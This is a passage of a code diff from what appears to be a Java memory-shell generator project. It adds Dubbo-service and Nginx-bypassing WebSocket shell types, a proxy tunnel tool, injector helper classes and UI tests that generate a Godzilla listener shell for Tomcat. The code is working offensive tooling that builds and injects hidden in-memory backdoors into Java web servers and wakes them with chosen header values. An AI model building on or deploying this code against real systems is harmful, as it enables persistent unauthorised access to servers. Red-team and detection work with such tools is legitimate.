@Override
public void run() {
contentRef[0] = ref[0].getMainContentPanel();
buttonRef[0] = ref[0].getGenerateButton();
minSizeRef[0] = ref[0].getMinimumSize();
}
});
assertNotNull(contentRef[0]);
assertFalse(contentRef[0] instanceof JSplitPane, "main content should not be a JSplitPane");
assertNotNull(buttonRef[0]);
assertTrue(buttonRef[0].isEnabled());
assertNotNull(minSizeRef[0]);
assertTrue(minSizeRef[0].width >= 1180);
assertTrue(minSizeRef[0].height >= 900);
} finally {
SwingUtilities.invokeAndWait(new Runnable() {
@Override
public void run() {
if (ref[0] != null) {
ref[0].dispose();
}
}
});
}
}
}
@@ -0,0 +1,71 @@
package com.reajason.javaweb.desktop.memshell.ui;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
import com.reajason.javaweb.desktop.memshell.service.ConfigCatalogService;
import com.reajason.javaweb.desktop.memshell.service.GenerationService;
import com.reajason.javaweb.desktop.memshell.ui.panel.ResultPanel;
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
import org.junit.jupiter.api.Test;
import javax.swing.*;
import java.awt.*;
import static org.junit.jupiter.api.Assertions.*;
class ResultPanelBasicInfoLayoutTest {
@Test
void shouldUseStructuredNoScrollBasicInfo() throws Exception {
MemShellFormController controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
controller.setServer("Tomcat");
controller.setShellTool("Godzilla");
controller.setShellType("Listener");
controller.setPacker("Base64");
DesktopMemShellGenerateResult result = new GenerationService().generate(controller.getState().copy());
final ResultPanel panel = new ResultPanel();
SwingUtilities.invokeAndWait(new Runnable() {
@Override
public void run() {
panel.showResult(result);
}
});
JComponent basic = panel.getBasicInfoComponent();
assertNotNull(basic);
assertTrue(basic instanceof JPanel);
assertFalse(containsScrollPane(basic), "basic info section should not contain JScrollPane");
assertTrue(containsText(panel, "服务类型"));
assertTrue(containsText(panel, "内存马功能"));
assertTrue(containsText(panel, "注入器类名"));
assertTrue(containsText(panel, "内存马类名"));
}
private boolean containsScrollPane(Component c) {
if (c instanceof JScrollPane) return true;
if (c instanceof Container) {
for (Component child : ((Container) c).getComponents()) {
if (containsScrollPane(child)) return true;
}
}
return false;
}
private boolean containsText(Component c, String expected) {
if (c instanceof JLabel) {
String text = ((JLabel) c).getText();
if (text != null && text.contains(expected)) return true;
}
if (c instanceof JTextField) {
String text = ((JTextField) c).getText();
if (text != null && text.contains(expected)) return true;
}
if (c instanceof Container) {
for (Component child : ((Container) c).getComponents()) {
if (containsText(child, expected)) return true;
}
}
return false;
}
}
@@ -0,0 +1,59 @@
package com.reajason.javaweb.desktop.memshell.validation;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
class MemShellValidatorTest {
private final MemShellValidator validator = new MemShellValidator();
@Test
void shouldRejectGenericUrlPatternWhenRequired() {
MemShellFormState s = new MemShellFormState();
s.setPackingMethod("Base64");
s.setShellType("Servlet");
s.setUrlPattern("/*");
MemShellValidator.Result result = validator.validate(s);
assertFalse(result.isValid());
assertTrue(result.getFieldErrors().containsKey("urlPattern"));
}
@Test
void shouldAllowNoUrlPatternForListener() {
MemShellFormState s = new MemShellFormState();
s.setPackingMethod("Base64");
s.setShellType("Listener");
s.setUrlPattern("/*");
MemShellValidator.Result result = validator.validate(s);
assertTrue(result.isValid());
}
@Test
void shouldRequireCustomShellBase64ForCustomTool() {
MemShellFormState s = new MemShellFormState();
s.setPackingMethod("Base64");
s.setShellTool("Custom");
s.setShellClassBase64("");
MemShellValidator.Result result = validator.validate(s);
assertFalse(result.isValid());
assertTrue(result.getFieldErrors().containsKey("shellClassBase64"));
}
@Test
void shouldRequireJettyVersionForHandler() {
MemShellFormState s = new MemShellFormState();
s.setPackingMethod("Base64");
s.setServer("Jetty");
s.setShellType("Handler");
s.setServerVersion("Unknown");
s.setUrlPattern("/x");
MemShellValidator.Result result = validator.validate(s);
assertFalse(result.isValid());
assertTrue(result.getFieldErrors().containsKey("serverVersion"));
}
}
+2 -2
View File
@@ -36,9 +36,9 @@ What you can learn or try from this project:
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
![normal_generator](../asserts/normal_generator.png)
![normal_generator](../assets/normal_generator.png)
![agent_generator](../asserts/agent_generator.png)
![agent_generator](../assets/agent_generator.png)
## Key Features
+4
View File
@@ -29,15 +29,19 @@ tasks.test {
dependencies {
implementation(project(":memshell-party-common"))
implementation(project(":packer"))
implementation(project(":thirdparty:thirdparty-tomcat"))
api(libs.byte.buddy)
implementation(libs.asm.commons)
implementation(libs.javax.websocket.api)
implementation(libs.jakarta.websocket.client.api)
implementation(libs.javax.servlet.api)
implementation(libs.jakarta.servlet.api)
implementation(libs.spring.webmvc)
implementation(libs.spring.webflux)
implementation(libs.reactor.netty.core)
implementation(libs.jackson.annotations)
implementation(libs.bundles.jna)
implementation("org.apache.dubbo:dubbo:2.7.8")
testImplementation(libs.junit.jupiter)
testImplementation(libs.hamcrest)
@@ -21,4 +21,5 @@ public class Server {
public static final String SpringWebFlux = "SpringWebFlux";
public static final String XXLJOB = "XXLJOB";
public static final String Struct2 = "Struct2";
public static final String Dubbo = "Dubbo";
}
@@ -1,10 +1,13 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.asm.ClassInterfaceUtils;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.DubboServiceInterfaceHelperGenerator;
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.probe.ProbeContent;
import com.reajason.javaweb.probe.ProbeMethod;
@@ -14,6 +17,7 @@ import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
import com.reajason.javaweb.utils.CommonUtil;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.Strings;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Map;
@@ -59,6 +63,27 @@ public class MemShellGenerator {
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
if (ShellType.DUBBO_SERVICE.equals(shellConfig.getShellType())) {
String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName());
String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName());
String interfaceName = packageName + ".I" + simpleName;
injectorConfig.setInjectorHelperClassName(interfaceName);
injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig));
shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName);
String urlPattern = injectorConfig.getUrlPattern();
if (Strings.CS.equalsAny(urlPattern, "/*", "/")
|| StringUtils.isBlank(urlPattern)) {
injectorConfig.setUrlPattern(interfaceName);
}
}
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
String helperClassName = shellToolConfig.getShellClassName() + "$1";
injectorConfig.setInjectorHelperClassName(helperClassName);
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(helperClassName, shellConfig, shellToolConfig));
}
injectorConfig.setInjectorClass(injectorClass);
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
injectorConfig.setShellClassBytes(shellBytes);
@@ -67,7 +92,7 @@ public class MemShellGenerator {
byte[] injectorBytes = injectorGenerator.generate();
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
ProbeConfig probeConfig = ProbeConfig.builder()
.shellClassName(injectorConfig.getInjectorClassName() + "1")
.shellClassName(injectorConfig.getInjectorClassName() + "Wrapper")
.probeMethod(ProbeMethod.ResponseBody)
.probeContent(ProbeContent.Bytecode)
.targetJreVersion(shellConfig.getTargetJreVersion())
@@ -32,6 +32,8 @@ public class MemShellResult {
private transient Map<String, byte[]> injectorInnerClassBytes;
private long injectorSize;
private String injectorBytesBase64Str;
private String injectorHelperBytesBase64Str;
private long injectorHelperSize;
private ShellConfig shellConfig;
private ShellToolConfig shellToolConfig;
private InjectorConfig injectorConfig;
@@ -46,13 +48,20 @@ public class MemShellResult {
injectorBytesBase64Str = Base64.getEncoder().encodeToString(injectorBytes);
injectorSize = injectorBytes.length;
}
if (injectorConfig != null && injectorConfig.getHelperClassBytes() != null) {
injectorHelperBytesBase64Str = Base64.getEncoder().encodeToString(injectorConfig.getHelperClassBytes());
injectorHelperSize = injectorConfig.getHelperClassBytes().length;
}
return new MemShellResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize,
injectorBytesBase64Str, injectorHelperBytesBase64Str, injectorHelperSize,
shellConfig, shellToolConfig, injectorConfig);
}
}
public JarPackerConfig toJarPackerConfig() {
JarPackerConfig jarPackerConfig = new JarPackerConfig();
JarPackerConfig<?> jarPackerConfig = new JarPackerConfig<>();
jarPackerConfig.setMainClassName(injectorClassName);
Map<String, byte[]> bytes = new HashMap<>();
bytes.put(shellClassName, shellBytes);
@@ -65,7 +74,7 @@ public class MemShellResult {
}
public ClassPackerConfig toClassPackerConfig() {
ClassPackerConfig classPackerConfig = new ClassPackerConfig();
ClassPackerConfig<?> classPackerConfig = new ClassPackerConfig<>();
classPackerConfig.setClassName(injectorClassName);
classPackerConfig.setClassBytes(injectorBytes);
classPackerConfig.setClassBytesBase64Str(injectorBytesBase64Str);
@@ -9,6 +9,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.*;
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
import com.reajason.javaweb.memshell.shelltool.suo5.*;
import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
import com.reajason.javaweb.memshell.shelltool.wsproxy.ProxyWebSocket;
import java.util.Collections;
import java.util.List;
@@ -46,6 +47,7 @@ public class ServerFactory {
register(Server.SpringWebFlux, SpringWebFlux::new);
register(Server.XXLJOB, XxlJob::new);
register(Server.Struct2, Struct2::new);
register(Server.Dubbo, Dubbo::new);
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(SERVLET, GodzillaServlet.class)
@@ -60,6 +62,8 @@ public class ServerFactory {
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
@@ -137,6 +141,8 @@ public class ServerFactory {
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
.addShellClass(WEBSOCKET, CommandWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
.addShellClass(BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
.addShellClass(UPGRADE, CommandUpgrade.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
@@ -157,6 +163,7 @@ public class ServerFactory {
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
.addShellClass(ACTION, CommandStruct2Action.class)
.addShellClass(DUBBO_SERVICE, CommandDubboService.class)
.build());
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
@@ -235,6 +242,13 @@ public class ServerFactory {
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
.addShellClass(ACTION, NeoreGeorgStruct2Action.class)
.build());
addToolMapping(ShellTool.Proxy, ToolMapping.builder()
.addShellClass(WEBSOCKET, ProxyWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, ProxyWebSocket.class)
.addShellClass(BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
.build());
}
public static void register(String serverName, Supplier<AbstractServer> shellSupplier) {
@@ -12,5 +12,6 @@ public class ShellTool {
public static final String Suo5v2 = "Suo5v2";
public static final String AntSword = "AntSword";
public static final String NeoreGeorg = "NeoreGeorg";
public static final String Proxy = "Proxy";
public static final String Custom = "Custom";
}
@@ -23,10 +23,11 @@ public class ShellToolFactory {
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
register(ShellTool.Suo5v2, Suo5Generator.class, Suo5Config.class);
register(ShellTool.Suo5v2, Suo5V2Generator.class, Suo5Config.class);
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
register(ShellTool.Proxy, ProxyGenerator.class, ProxyConfig.class);
}
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
@@ -45,7 +45,11 @@ public class ShellType {
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
public static final String WEBSOCKET = "WebSocket";
public static final String BYPASS_NGINX_WEBSOCKET = "BypassNginx" + WEBSOCKET;
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
public static final String DUBBO_SERVICE = "DubboService";
public static final String ACTION = "Action";
}
@@ -22,6 +22,18 @@ public class CommandConfig extends ShellToolConfig {
@Builder.Default
private String paramName = CommonUtil.getRandomString(8);
/**
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
*/
@Builder.Default
private String headerName = "User-Agent";
/**
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
*/
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
/**
* 加密器
*/
@@ -48,6 +60,22 @@ public class CommandConfig extends ShellToolConfig {
}
return self();
}
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
@@ -16,37 +16,43 @@ import net.bytebuddy.dynamic.DynamicType;
@AllArgsConstructor
@Builder(toBuilder = true)
public class InjectorConfig {
/**
* 注入器 Builder
*/
DynamicType.Builder<?> injectorBuilder;
/**
* 内存马 Builder
*/
DynamicType.Builder<?> shellBuilder;
/**
* 注入器模板类
*/
private Class<?> injectorClass;
/**
* 注入器类名
*/
@Builder.Default
private String injectorClassName = CommonUtil.generateInjectorClassName();
/**
* 注入访问的地址
*/
@Builder.Default
private String urlPattern = "/*";
/**
* 内存马类名
*/
private String shellClassName;
/**
* 内存马类字节
*/
private byte[] shellClassBytes;
/**
* 辅助类类名
*/
private String injectorHelperClassName;
/**
* 辅助类字节码
*/
private byte[] helperClassBytes;
/**
* 添加静态代码块调用构造方法初始化
*/
@@ -0,0 +1,38 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
@Getter
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
@ToString
public class ProxyConfig extends ShellToolConfig {
@Builder.Default
private String headerName = "User-Agent";
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
public static abstract class ProxyConfigBuilder<C extends ProxyConfig, B extends ProxyConfig.ProxyConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
}
@@ -73,12 +73,18 @@ public class ShellConfig {
@Builder.Default
private boolean lambdaSuffix = false;
/**
* 将 Java EE 转换为 Jakarta EE 类名
*/
@Builder.Default
private boolean jakarta = false;
public boolean isDebugOff() {
return !debug;
}
public boolean isJakarta() {
return shellType.startsWith(ShellType.JAKARTA);
return jakarta || shellType.startsWith(ShellType.JAKARTA);
}
public boolean needByPassJavaModule() {
@@ -23,6 +23,10 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
protected abstract DynamicType.Builder<?> getBuilder();
protected byte[] postProcessBytes(byte[] classBytes) {
return classBytes;
}
@Override
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
@@ -42,7 +46,8 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
return ProcessorRegistry.applyByteProcessors(unloaded.getBytes(), shellConfig, shellToolConfig);
byte[] bytes = postProcessBytes(unloaded.getBytes());
return ProcessorRegistry.applyByteProcessors(bytes, shellConfig, shellToolConfig);
}
}
}
@@ -0,0 +1,19 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.shelltool.ShellDubboService;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
public class DubboServiceInterfaceHelperGenerator {
public static byte[] getBytes(String interfaceName, ShellConfig shellConfig) {
try (DynamicType.Unloaded<ShellDubboService> make = new ByteBuddy()
.redefine(ShellDubboService.class)
.name(interfaceName)
.make()) {
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
}
}
@@ -49,6 +49,12 @@ public class InjectorGenerator {
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
byte[] helperClassBytes = injectorConfig.getHelperClassBytes();
if (helperClassBytes != null) {
String helperBase64 = Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(helperClassBytes));
builder = builder.method(named("getHelperBase64String")).intercept(FixedValue.value(helperBase64));
}
if (shellConfig.needByPassJavaModule()) {
builder = ByPassJavaModuleInterceptor.extend(builder);
}
@@ -17,11 +17,11 @@ public final class ProcessorRegistry {
private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList(
new ListenerBuilderModifier(),
new ValveBuilderModifier(),
new JakartaBuilderModifier(),
new DebugOffBuilderModifier()
);
private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
new JakartaPostProcessor(),
new JettyHandlerPostProcessor(),
new ShrinkPostProcessor()
);
@@ -0,0 +1,17 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.ProxyConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
public class ProxyGenerator extends ByteBuddyShellGenerator<ProxyConfig> {
public ProxyGenerator(ShellConfig shellConfig, ProxyConfig shellToolConfig) {
super(shellConfig, shellToolConfig);
}
@Override
protected DynamicType.Builder<?> getBuilder() {
return new ByteBuddy().redefine(shellToolConfig.getShellClass());
}
}
@@ -0,0 +1,46 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.Suo5Config;
import com.reajason.javaweb.memshell.shelltool.suo5v2.Suo5v2;
import com.reajason.javaweb.utils.CommonUtil;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.codec.binary.Base64;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2025/2/12
*/
public class Suo5V2Generator extends ByteBuddyShellGenerator<Suo5Config> {
public Suo5V2Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
super(shellConfig, suo5Config);
}
@Override
protected DynamicType.Builder<?> getBuilder() {
if (Suo5v2.class.equals(shellToolConfig.getShellClass())) {
return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
}
try (DynamicType.Unloaded<Suo5v2> unloaded = new ByteBuddy()
.redefine(Suo5v2.class)
.name(CommonUtil.generateClassName())
.field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue())
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
.make()) {
byte[] shrinkBytes = ClassBytesShrink.shrink(unloaded.getBytes(), true);
return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("suo5V2GZipBase64")).value(Base64.encodeBase64String(CommonUtil.gzipCompress(shrinkBytes)));
}
}
}
@@ -0,0 +1,54 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.lang3.tuple.Pair;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2026/1/13
*/
public class WebSocketByPassHelperGenerator {
public static byte[] getBytes(String helperClassName, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
if (headerPair == null) {
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
}
if (Server.Tomcat.equals(shellConfig.getServer())) {
DynamicType.Builder<TomcatWsBypassValve> builder = new ByteBuddy()
.redefine(TomcatWsBypassValve.class)
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.field(named("headerName")).value(headerPair.getKey())
.field(named("headerValue")).value(headerPair.getValue())
.name(helperClassName);
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
try (DynamicType.Unloaded<TomcatWsBypassValve> dynamicType = builder.make()) {
return ClassBytesShrink.shrink(dynamicType.getBytes(), shellConfig.isShrink());
}
}
return null;
}
private static Pair<String, String> getHeaderPair(ShellToolConfig shellToolConfig) {
if (shellToolConfig instanceof CommandConfig) {
return Pair.of(((CommandConfig) shellToolConfig).getHeaderName(), ((CommandConfig) shellToolConfig).getHeaderValue());
} else if (shellToolConfig instanceof GodzillaConfig) {
return Pair.of(((GodzillaConfig) shellToolConfig).getHeaderName(), ((GodzillaConfig) shellToolConfig).getHeaderValue());
} else if (shellToolConfig instanceof ProxyConfig) {
return Pair.of(((ProxyConfig) shellToolConfig).getHeaderName(), ((ProxyConfig) shellToolConfig).getHeaderValue());
}
return null;
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.generator.command;
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
@@ -1,7 +1,6 @@
package com.reajason.javaweb.memshell.generator.command;
import net.bytebuddy.asm.Advice;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.io.InputStream;
@@ -1,22 +0,0 @@
package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
import net.bytebuddy.dynamic.DynamicType;
/**
* @author ReaJason
* @since 2025/12/7
*/
public class JakartaBuilderModifier implements Processor<DynamicType.Builder<?>> {
@Override
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
return builder;
}
}
@@ -0,0 +1,16 @@
package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
public class JakartaPostProcessor implements Processor<byte[]> {
@Override
public byte[] process(byte[] input, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
if (shellConfig.isJakarta()) {
return ClassRenameUtils.relocateJakarta(input);
}
return input;
}
}
@@ -17,6 +17,7 @@ import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue;
import net.bytebuddy.implementation.StubMethod;
import net.bytebuddy.matcher.ElementMatchers;
import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -46,12 +47,9 @@ public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>
TypeDescription typeDefinition, String newClassName) {
MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
if (methods.filter(ElementMatchers.named("getResponseFromRequest")
.and(ElementMatchers.takesArguments(Object.class))
.and(ElementMatchers.returns(Object.class)))
.isEmpty()) {
throw new GenerationException("[public Object getResponseFromRequest(Object request)] method not found" +
" make sure arg and return type is Object.class");
if (methods.filter(named("getResponseFromRequest").and(takesArguments(1))).isEmpty()) {
throw new GenerationException("please add [getResponseFromRequest(Object request)] method," +
" the method body will be auto adapted for multi server");
} else {
builder = builder
.visit(MethodCallReplaceVisitorWrapper.newInstance(
@@ -59,13 +57,11 @@ public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
}
if (methods.filter(named("getFieldValue")
.and(takesArguments(Object.class, String.class)))
.isEmpty()) {
if (methods.filter(named("getFieldValue").and(takesArguments(Object.class, String.class))).isEmpty()) {
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(Object.class, String.class)
.throwing(Exception.class)
.intercept(FixedValue.nullValue())
.intercept(StubMethod.INSTANCE)
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
}
return builder;
@@ -8,6 +8,7 @@ import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
@@ -43,7 +44,7 @@ public class ApusicFilterInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -145,7 +146,12 @@ public class ApusicFilterInjector {
Object filterMapping = filterMappingClass.newInstance();
invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(webModule, "addBeforeFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
LinkedHashSet beforeFilterMappings = (LinkedHashSet) getFieldValue(webModule, "beforeFilterMappings");
LinkedHashSet newSet = new LinkedHashSet();
newSet.add(filterMapping);
newSet.addAll(beforeFilterMappings);
beforeFilterMappings.clear();
beforeFilterMappings.addAll(newSet);
// addFilterModel
invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
@@ -218,8 +224,7 @@ public class ApusicFilterInjector {
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
@@ -236,12 +241,8 @@ public class ApusicFilterInjector {
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
